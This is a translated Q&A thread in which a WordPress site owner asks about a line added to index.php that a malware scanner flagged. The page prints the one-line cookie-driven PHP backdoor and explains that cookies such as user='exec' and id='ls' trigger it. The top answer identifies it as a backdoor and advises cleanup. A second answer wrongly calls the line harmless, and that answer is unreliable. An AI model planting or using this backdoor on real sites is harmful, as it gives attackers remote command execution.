Wordpress在根文件中不熟悉的代码

时间:2016-05-25 03:22:36

标签: php wordpress security cookies

最近其中一个WP网站文件删除了“CXS scanner”并检测到根文件夹中的所有文件为

index.php' Known exploit = [Fingerprint Match] [PHP COOKIE Exploit [P1036]]

当我将检测到的cookie漏洞与旧版本进行比较时,我注意到此文件中添加了额外的代码行:

检测到index.php

<?php

if (isset($_COOKIE["id"])) @$_COOKIE["user"]($_COOKIE["id"]);


/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define('WP_USE_THEMES', true);

/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . '/wp-blog-header.php' );

较早index.php

<?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define('WP_USE_THEMES', true);

/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . '/wp-blog-header.php' );

我不是PHP开发人员,并且比较了添加到标记文件的这行代码:

if (isset($_COOKIE["id"])) @$_COOKIE["user"]($_COOKIE["id"]);

它应该存在还是存在安全漏洞?

2 个答案:

答案 0 :(得分:2)

这是一个后门/利用。

在PHP中,您可以通过调用:$ var()来调用具有变量名称的函数。这里也是如此。

<?php
function echoit($string)
{
    echo $string;
}

$func = 'echoit';
$func('test');  // Dies ruft echoit() auf
?>

(资料来源:http://php.net/manual/de/functions.variable-functions.php

要触发此漏洞,您必须发送两个Cookie。一个名为:user的cookie,其功能为您的值,另一个名称为#34; id&#34;使用您想要调用它的参数。

所以user =&#34; exec&#34;,id =&#34; ls&#34;将使用参数&#34; ls&#34;。

调用exec函数

这是一个相当不错的...你应该从你的所有文件中删除这一行。

另外:你必须找出它首先在那里结束的原因。此系统上还可能有其他后门。您应该考虑将此服务器泄露。被黑客入侵的系统应该被烧毁。然后他们可以再次从灰烬中升起如同美丽的凤凰(左右)。 尽管如此,您应该使用最新的软件和数据来重建您的系统,该备份是干净的,并且会更改所有密码。

答案 1 :(得分:0)

@符号仅用于抑制错误,据我所知,额外的行不是漏洞。